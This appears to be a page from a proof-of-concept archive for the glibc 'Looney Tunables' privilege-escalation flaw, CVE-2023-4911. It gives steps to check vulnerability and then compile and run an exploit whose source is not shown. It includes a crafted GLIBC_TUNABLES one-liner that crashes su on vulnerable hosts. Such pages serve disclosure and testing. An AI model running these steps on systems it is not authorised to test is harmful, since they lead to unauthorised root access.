关联漏洞
描述
Looney Tunables CVE-2023-4911
介绍
### Step 1
Check the `glibc` version
```
ldd --version
```
Check if a machine is vulnerable to Looney Tunables CVE-2023-4911
```
env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help
```
If we get a `Segmentation fault (core dumped)`, then machine is vulnerable.
### Step 2
```
python3 libc.py
```
### Step 3
```
gcc -o exp exp.c
./exp
```
文件快照
[4.0K] /data/pocs/242265bc434efd79dc46f9f358622301e3970833
├── [ 16K] exp
├── [3.7K] exp.c
├── [ 671] libc.py
└── [ 401] README.md
0 directories, 4 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。